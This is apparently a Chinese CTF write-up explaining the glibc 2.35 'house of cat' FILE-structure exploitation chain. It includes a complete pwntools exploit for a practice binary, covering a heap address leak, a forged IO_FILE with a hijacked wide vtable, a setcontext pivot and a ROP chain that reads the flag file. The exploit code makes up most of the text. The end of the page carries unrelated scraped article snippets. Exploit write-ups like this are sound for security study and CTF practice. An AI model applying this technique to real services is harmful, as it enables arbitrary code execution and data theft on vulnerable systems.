house_of_cat

前言:

house of cat 这个利用手法和前面提到的 house of kiwi ,和 house of emma 利用的手法是一个链子,当程序无法通过main函数返回时候,或者程序不能显性调用exit函数的时候,我们可以通过 __malloc_assert 来刷新IO流,当然这个函数在2.35之后移除了刷新IO流,最后在2.37彻底移除。

house of cat 和 house of emma 一样修改 vtable表,但是不同的是,house of emma 使用的函数是 _IO_cookie_read来进行跳转,而hosue of cat使用的是_IO_wfile_seekoff来进行函数调用的,这个函数存在 _IO_wfile_jumps中,我们看看它的源码

_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count; if (mode == 0)
return do_ftell_wide (fp);
...... bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp)); if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
......
}

发现它会在满足条件的情况下调用 _IO_switch_to_wget_mode 函数,我们继续跟进,查看源码

_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
......
}

它会在满足条件的情况下调用 _IO_WOVERFLOW,但是需要满足情况,需要满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 这个条件。因为这个 _IO_WOVERFLOW 函数是通过 _wide_data->_wide_vtable 中所存放的函数指针进行跳转的, 但是_wide_vtable 是我们可控的,从而在这里可以劫持程序的执行流。

看看完整的调用链__malloc_assert-> __fxprintf->__vfxprintf->locked_vfxprintf->__vfprintf_internal->_IO_wfile_seekoff->_IO_switch_to_wget_mode->setcontext->orw

调用我们伪造的vtable

满足条件进行调用_IO_switch_to_wget_mode 函数

继续步入,注意这里rax的变化

这里已经修改过rax+0x18处的地址

继续劫持rdx+0xa0 和rdx+0xa8达到劫持程流序到堆块上(如果没有开沙箱可以之间system("/bin/sh")拿shell。

例题

题目链接:
链接:https://pan.baidu.com/s/1BIOPCJ_nVxN1iWy_m-yWJg?pwd=c7qv 
提取码:c7qv

题目一上来是有检查的,但是我们重心放在house of cat ,这里检查直接给出

登录的时候需要输入 LOGIN | r00t QWB QWXFadmin,在每次堆块操作的时候需要输入CAT | r00t QWB QWXF$\xff 来通过检查

add函数有大小限制,通过calloc来分配

edit函数不能越界,只能使用两次,每次输入0x30字节

free函数存在UAF漏洞

show 函数打印0x30字节数据,没有截断

程序还开了沙箱只能orw,而且read的第一个参数必须是0,那么就是要先要关闭文件描述符0,然后再次使用read

那么思路很明显,通过largebin 来一次泄露libc地址和堆块地址,然后两次edit,第一个修改stderr结构体(以为malloc_assert会调用stderr来输出报错信息),第二次修改top_chunk来修改size来触发 _malloc_assert,那么这里就要注意了伪造结构结构体时候一定要注意布局还有它们之间的调用关系

EXP:

from gt import *

con("amd64")

io = process("./houseofcat")
libc = ELF("/home/su/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc-2.35.so") #gdb.attach(io)
io.sendafter("mew mew mew~~~~~~\n","LOGIN | r00t QWB QWXFadmin") def add(index,size,msg='\x00'):
io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
io.sendlineafter("choice:\n","1")
io.sendlineafter("cat idx:\n",str(index))
io.sendlineafter("cat size:\n",str(size))
io.sendafter("your content:\n",msg) def free(index):
io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
io.sendlineafter("choice:\n","2")
io.sendlineafter("cat idx:\n",str(index)) def show(index):
io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
io.sendlineafter("choice:\n","3")
io.sendlineafter("cat idx:\n",str(index)) def edit(index,msg):
io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
io.sendlineafter("choice:\n","4")
io.sendlineafter("cat idx:\n",str(index))
io.sendafter("your content:\n",msg) add(0,0x420) #0
add(1,0x430) #1
add(2,0x418) #2 free(0)
add(3,0x430) #4
show(0)
io.recvuntil("Context:\n")
libc_base = u64(io.recv(8))-0x21a0d0
suc("libc_base",libc_base)
io.recv(8)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) -0x290
suc("heap_base",heap_base) setcontext = libc_base + libc.sym["setcontext"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
pop_rax = libc_base + 0x0000000000045eb0#: pop rax; ret;
pop_rdi = libc_base + 0x000000000002a3e5#: pop rdi; ret;
pop_rsi = libc_base + 0x000000000002be51#: pop rsi; ret;
pop_rdx_r12 = libc_base + 0x000000000011f497#: pop rdx; pop r12; ret;
lv = libc_base + 0x00000000000562ec#: leave; ret;
stderr = libc_base + libc.sym['stderr']
close = libc_base + libc.sym["close"]
syscall = libc_base + 0x0000000000091396#: syscall; ret;
_IO_wfile_jumps = libc_base + 0x2160c0 flag_addr = heap_base + 0xb00 + 0x230
orw = flat(pop_rdi ,0 , close)
orw += flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
orw += flat(pop_rdi,0,pop_rsi,heap_base + 0x500,pop_rdx_r12,0x30,0,read)
orw += flat(pop_rdi,1,pop_rsi,heap_base + 0x500,pop_rdx_r12,0x30,0,write)
orw += b'flag\x00\x00\x00\x00' + p64(0xdeadbeef) fake_io_addr = heap_base + 0xb00 fake_IO_FILE =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx -----> setcontext + 61
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr rax+0x58
fake_IO_FILE =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0) # _chain
fake_IO_FILE =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10) # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE += p64(0) *6
fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
fake_IO_FILE += p64(0) * 7 + p64(fake_io_addr + 0x160) + p64(pop_rdi+1) #rdx + 0xa0 , 0xa8
fake_IO_FILE += orw free(2)
payload = p64(libc_base+0x21a0d0)*2 +p64(heap_base+0x290) + p64(stderr - 0x20)
add(6,0x418,fake_IO_FILE)
edit(0,payload)
free(6)
add(4,0x430) #gdb.attach(io)
add(5,0x440) #large
add(7,0x430)
add(8,0x430) #unsort
free(5)
add(9,0x450)
top_chunk = heap_base + 0x28d0
payload = p64(libc_base+0x21a0e0)*2 +p64(heap_base+0x17a0) + p64(top_chunk+3 - 0x20)
edit(5,payload)
free(8)
#add(10,0x460)
#gdb.attach(io) io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
io.sendlineafter('plz input your cat choice:\n',str(1))
io.sendlineafter('plz input your cat idx:',str(11))
gdb.attach(io,'b* (_IO_wfile_seekoff)')
#gdb.attach(io)
io.sendlineafter('plz input your cat size:',str(0x450)) io.interactive()

分析一下伪造的IO

fake_io_addr = heap_base + 0xb00

fake_IO_FILE  =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0) #这里为了绕过检查
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx 这里是rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr 这里是rax + 0x18的位置
fake_IO_FILE =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0) # _chain
fake_IO_FILE =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1 0x90位置为第一次的rax (rax+0xa0)
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10) # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE += p64(0) *6
fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
fake_IO_FILE += p64(0) * 7 + p64(fake_io_addr + 0x160) + p64(pop_rdi+1) #rdx + 0xa0 , 0xa8
fake_IO_FILE += orw

 最后执行效果

常回家看看之house_of_cat的更多相关文章

  1. 《Android插件化开发指南》面世

    本书在京东购买地址:https://item.jd.com/31178047689.html 本书Q群:389329264 (一)这是一本什么书 如果只把本书当作纯粹介绍Android插件化技术的书籍 ...

  2. C 基础框架开发

    引言 有的人真的是天命所归 延安时期炸弹 投到他院子都 没炸. 有些事无法改变 是命! 我们也快'老'了, 常回家看看. 前言 扯淡结束了,今天分享的可能有点多,都很简单,但是糅合在一起就是有点复杂. ...

  3. 利用Swoole实现PHP+websocket直播,即使通讯

    websocket Websocket只是一个网络通信协议,就像 http.ftp等都是网络通信的协议一样:相对于HTTP这种非持久的协议来说,Websocket是一个持久化网络通信的协议: WebS ...

  4. 高中最后一刻&大学第一课&为人师的责任

    文章不是技术文,只是分享一些感想,作为一只程序猿,不说好好敲代码,跑出来思考人生,不是合格的程序猿,罪过罪过,自我反思3秒钟,我们继续,毕竟程序猿的人生不只是Coding,也希望自己这点感想被更多刚入 ...

  5. N1试卷常考词汇总结

    免れる まぬがれる 免去,幸免 軽率 けいそつ 轻率,草率 捩れる ねじれる 拧劲儿,扭歪,弯曲 裂ける さける 裂开,破裂 避ける さける 躲避,避开 つまむ 挟,捏,掐 追及 ついきゅう 追上.追 ...

  6. JavaScript 字符串实用常操纪要

    JavaScript 字符串用于存储和处理文本.因此在编写 JS 代码之时她总如影随形,在你处理用户的输入数据的时候,在读取或设置 DOM 对象的属性时,在操作 Cookie 时,在转换各种不同 Da ...

  7. C++常考面试题汇总

    c++面试题 一 用简洁的语言描述 c++ 在 c 语言的基础上开发的一种面向对象编程的语言: 应用广泛: 支持多种编程范式,面向对象编程,泛型编程,和过程化编程:广泛应用于系统开发,引擎开发:支持类 ...

  8. OCP考点实战演练02-日常维护篇

    本系列宗旨:真正掌握OCP考试中所考察的技能,坚决不做Paper OCP! 实验环境:RHEL 6.4 + Oracle 11.2.0.4 OCP考点实战演练02-日常维护篇 1.数据库体系结构和AS ...

  9. c/c++常见面试题

    1. C中static有什么作用 (1)隐藏. 当我们同时编译多个文件时,所有未加static前缀的全局变量和函数都具有全局可见性,故使用static在不同的文件中定义同名函数和同名变量,而不必担心命 ...

  10. flhs笔试题-回家上机实践

    这是最近参加的一个公司的笔试题,回家上机写了下代码,希望对有需要的小伙伴有用,简单实现字符串和数组在指定位置的插入: package org.flhs; import com.google.commo ...

随机推荐

  1. [oeasy]python0025_ 顺序执行过程_流水_流程_执行次序

    顺序执行过程_流水_流程_执行次序 回忆上次内容 上次 熟悉了 vim编辑器 操作 作用 w 向前移动光标一个word b 向后移动光标一个word :r oeasy.py 读取文件到当前文件缓存 g ...

  2. [oeasy]python0131_[趣味拓展]各种符号_汉语拼音符号_中文全角英文字母_中文全角标点

    各种符号 回忆上次内容 中文字符可以有各种分类方法 声母 拼音检字法   韵母 合辙押韵的分类   偏旁部首 实际上unicode的排序方法     ​   添加图片注释,不超过 140 字(可选) ...

  3. 基于树莓派的OpenWrt系统打开蓝牙功能

    在树莓派设备上的OpenWrt系统打开蓝牙功能 1. 安装必要的软件包 首先,你需要确保OpenWrt系统上安装了必要的蓝牙软件包.你可以通过OpenWrt的包管理器来安装它们.在OpenWrt系统上 ...

  4. C练习_1005

    题自:题目 1009: [编程入门]数字的处理与判断_C语言网 题目描述 给出一个不多于5位的整数,要求 1.求出它是几位数 2.分别输出每一位数字 3.按逆序输出各位数字,例如原数为321,应输出1 ...

  5. ComfyUI插件:ComfyUI Impact 节点(二)

    前言: 学习ComfyUI是一场持久战,而 ComfyUI Impact 是一个庞大的模块节点库,内置许多非常实用且强大的功能节点 ,例如检测器.细节强化器.预览桥.通配符.Hook.图片发送器.图片 ...

  6. 基于 TrueLicense 项目证书生成

    一.创建公钥私钥 1.首先要用 KeyTool 工具来生成私匙库:(-alias别名 -validity 3650 表示10年有效,这个时间不是License的过期时间) keytool -genke ...

  7. 【Kafka】01 基于Docker环境的单例Kafka搭建

    安装参考: https://www.cnblogs.com/vipsoft/p/13233045.html 环境安装需要 Zookeeper + Kafka 要学习Kafka还需要繁琐的安装配置,所以 ...

  8. 【Ubuntu】下载安装 12.04.5版本 桌面端

    下载 Download 我擦早上起来才发现自己装的是远古版本了,唉算了,反正也没见过,就当是学个东西把 [下载地址:点我访问] https://releases.ubuntu.com/?_ga=2.2 ...

  9. ( Ubuntu环境下 )Vim插件推荐-Python自动补齐Vim插件jedi-vim的安装(使用插件管理器vundle进行安装)

    Ubuntu系统下,为 Vim 安装python自动补齐的插件   jedi-vim   . 1.   jedi-vim安装依赖 首先,jedi-vim插件需要当前Vim版本支持python,在终端输 ...

  10. MySQL 是如何实现数据的排序的?

    1.背景 或许你面试的时候被问到了mysql的排序问题 又或许你在学习排序算法的时候想到了数据库的排序是如何实现的呢 下面重点从面试的角度来回答这个问题 2.面试回答 1.普通面试者回答 普通面试者的 ...